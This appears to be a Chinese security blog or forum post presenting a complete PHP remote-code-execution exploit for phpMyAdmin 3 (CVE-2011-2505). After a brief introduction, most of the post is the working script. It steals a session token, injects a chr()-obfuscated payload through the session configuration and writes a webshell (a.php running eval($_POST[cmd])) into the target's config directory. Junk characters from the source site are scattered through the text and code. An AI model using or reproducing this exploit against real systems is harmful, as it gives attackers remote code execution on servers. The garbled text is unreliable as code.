最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
% O, w) ?/ }) B9 w7 {
5 k7 ^" J5 H/ e- `% b0 I' z昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。5 W7 H. y* |1 a* T7 i1 j" m
w* f9 C9 h* p1 c, j" a首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
( c8 E" R/ R0 r+ `3 v" y5 s' `. r1 M7 P一是session.auto_start = 1;
) J" s( L: |: H% {- a+ a2 N二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。4 _7 O( K7 K p% z
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
1 c( r! C) F% C! e+ N- _2 ~. s/ Q8 Q% N, @; T V5 }' F; t
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& i1 d* T) v O. S& s; n/ | c, t
于是写了这个php版本的exp,代码如下:. N2 B+ p) m! i7 H
$ p9 `$ q7 p/ A8 v, R% B+ D9 x A
#!/usr/bin/php
8 r$ I* O0 W \4 a: m<?php
3 Z6 \9 j& V" M- y) v3 F. _/ Aprint_r('/ u2 @- P5 X; ^$ }# V1 {+ a" e
+---------------------------------------------------------------------------+
/ z+ V3 Z) F7 z& r H7 ?pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
# x; d1 X$ ^7 X/ B( kby oldjun(www.oldjun.com), e- A- C" X9 g& E. h
welcome to www.t00ls.net
& Q# I( n* k! v# o6 x' `: S1 l; [mail: oldjun@gmail.com) i3 `, D2 ]$ S. ~7 b" v
Assigned CVE id: CVE-2011-2505
. c. q1 r4 s$ x& ?# O4 q/ l+---------------------------------------------------------------------------+8 @# v; N& B) I# ~; l2 \
');5 Y) u: @1 e# R5 Q1 P+ i
" s+ C" g; Z a# y/**' o( R& q0 `/ L3 {- Z# T- t
* working when the directory:"config" exists and is writeable., K" {, s" j7 I3 Z: [* c
**/
- p+ n+ L/ q7 e e" z
1 X0 h6 k/ P0 tif ($argc < 3) {& C) }/ B, z8 q
print_r('
6 T/ E% n i; O5 s3 m, j+---------------------------------------------------------------------------+, v0 W" e+ z6 h, b
Usage: php '.$argv[0].' host path$ k* w& ?$ h7 [7 L
host: target server (ip/hostname)
, {1 t; a% G, Spath: path to pma3
! N! \0 o9 A6 ^Example:
9 _! y& o8 q3 ]4 @+ _php '.$argv[0].' localhost /pma/
0 r. L5 w" N' f) B% q+---------------------------------------------------------------------------+4 d$ a, r5 r+ v# K, J5 {$ l" b: w
');! Z) ?+ E& l; ]* V7 [ u
exit;
0 g' k Y3 X8 F& j) b# n3 H& C}
' q4 H1 \' \) t: V" _3 e) G
& r. [2 [- A! ?6 z) I+ u! t6 |$host = $argv[1];
, \0 f7 ~ }7 l8 d6 b$path = $argv[2];6 ]$ e Y- i w) p
% ?4 Y: T+ T. {; C0 U
/**9 A8 i! i& y3 ~! O
* Try to determine if the directory:"config" exists
$ ~ {$ t6 r+ X8 P: z% H0 G$ c**/- @) o: s* J7 y1 v6 r
echo "[+] Try to determine if the directory:config exists....\n";1 l, i4 `9 p& d8 ]% L J4 @' B
$returnstr=php_request('config/');4 O! k. P1 y6 T4 O# e
if(strpos($returnstr,'404')){, W. L: Q$ @: a8 u3 c3 V8 F
exit("[-] Exploit Failed! The directory:config do not exists!\n");
- D- x2 x6 b, c3 ?" `) e}# @* s8 I7 x/ a$ S
+ b# C+ P" Z. A& ^% [; f( l
/**
0 q+ t" G$ V1 R& t: S H * Try to get token and sessionid
' w1 z. q; P$ x% A7 T- A5 V**/
, T/ a7 G' h0 G9 M# i ]# xecho "[+] Try to get token and sessionid....\n";
) \' H; W$ c# J, l/ B+ Z9 p P$result=php_request('index.php');
/ S5 h7 s, }: ]/ |0 n5 B5 H1 dpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
1 R# R2 h/ t: f6 l/ S$token=$resp[3];
2 I7 m% [# j+ O7 l$sessionid=$resp[1];
P/ P4 N0 P0 j l6 Q. oif($token && $sessionid){
$ l& h- }/ J" S7 A5 K echo "[+] token token\n";
( D4 {$ q' t6 e+ g) [1 ?4 c echo "[+] Session ID sessionid\n";1 N. }7 j, ^* H5 f9 G3 O! S" E/ z2 R
}else{
3 o% P5 O K- `7 |# c exit("[-] Can't get token and Session ID,Exploit Failed!\n");
8 C: X& Z& b. y3 ^' @( U6 L+ Z}
0 V' J2 ^5 R$ C \
' z6 M2 N! R% D1 ^: t% {/**
/ B/ U- _& w2 D6 b * Try to insert shell into session
+ s* ]6 M) a$ M3 x! r' c% k* X**/2 P# s" O9 p: P" _! o V0 j7 S
echo "[+] Try to insert shell into session....\n";' S7 n& l b% k
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
+ E( G6 m/ u3 H3 D. ~0 o- Z, o4 _4 H# Y, y! B7 O
/**4 k5 m } N# V' @: o0 A
* Try to create webshell
7 R5 L: s( Y+ L+ o+ |, Z**/3 d/ D* Q- G4 P1 Y" e$ j7 {3 Z
echo "[+] Try to create webshell....\n";3 y* o! H# s2 u* `% }0 S! k
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
5 n, M4 H6 C) _, y8 J/**
' @1 G$ R5 t D( k* p6 w8 A * Try to check if the webshell was created successfully8 z2 n5 q/ e) D% s# y
**/ W; a: p1 V6 X
echo "[+] Try to check if the webshell was created successfully....\n";
: E2 j3 m) G( D# R8 l! z% _$content=php_request('config/config.inc.php');
& U! O: z% `1 Xif(strpos($content,'t00ls')){
_0 M9 |$ e, n1 w' F( b! x echo "[+] Congratulations! Expoilt successfully....\n"; u' o. w( N% f7 ]# O
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";( |) }% X7 S; ^/ V: D `% K5 ^
}else{
4 Z9 I! K% H( U& d! c exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
! A6 @$ Q# F+ m! P}0 w2 p* U4 {7 t L
9 `7 p* L0 s, c M) G
function php_request($url,$data='',$cookie=''){
/ Q7 u0 P0 }6 H6 n# _$ s global $host, $path;1 }/ J. r' ?8 r3 ]2 d
8 k" q3 u3 P& Z5 _2 [0 A5 h0 U
$method=$data?'POST':'GET';! T2 I9 S! ~- t- i8 O" \! c" U: ?
: Q, s" y; [8 d( o# r- b8 [( R $packet = $method." ".$path.$url." HTTP/1.1\r\n";
3 E3 ?! Z |+ O" B $packet .= "Accept: */*\r\n";
2 A4 o6 W. L+ M( T $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
0 o8 D B h, q5 [ $packet .= "Host: $host\r\n";
j$ m4 o. P0 H $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";! W3 E& S/ e2 x: S: i# L$ |8 n
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
& K# s/ w* c) k. _: x $packet .= $cookie?"Cookie: $cookie\r\n":"";
3 Y3 G. S* `, B6 y# w $packet .= "Connection: Close\r\n\r\n";' i. d0 |9 z% V2 h9 B
$packet .= $data?$data:"";
" m) j' p/ A$ t, Z; N l' I/ x7 t7 B
$fp = fsockopen(gethostbyname($host), 80);
& h3 ^. C7 G# D( p0 e ? if (!$fp) {+ n" F8 H1 K9 F8 w# c% L6 {
echo 'No response from '.$host; die;
3 Y, q! \: U5 @ }7 @6 E y% Q- v: |
fputs($fp, $packet);
" Q' L9 A4 Q; ~* r7 R( G# q
4 i, x$ `5 B6 T# {* W2 j $resp = '';
# b9 x' L0 D& X8 F& g
/ ]! i/ X; U) B; A while ($fp && !feof($fp))* v, R# ^. M+ H" ^1 Z
$resp .= fread($fp, 1024);
; q; J! s- @) z' R
# X- }5 ~. x- f6 k. G return $resp;
* C" M7 i! N1 G0 N; q0 U}$ j! i' r6 \6 P/ f3 r/ H& b
& j0 A* P9 @% N. i7 g9 F7 `% d1 ^' V?>
* p$ C; I# h! U {5 D8 }" l6 a. |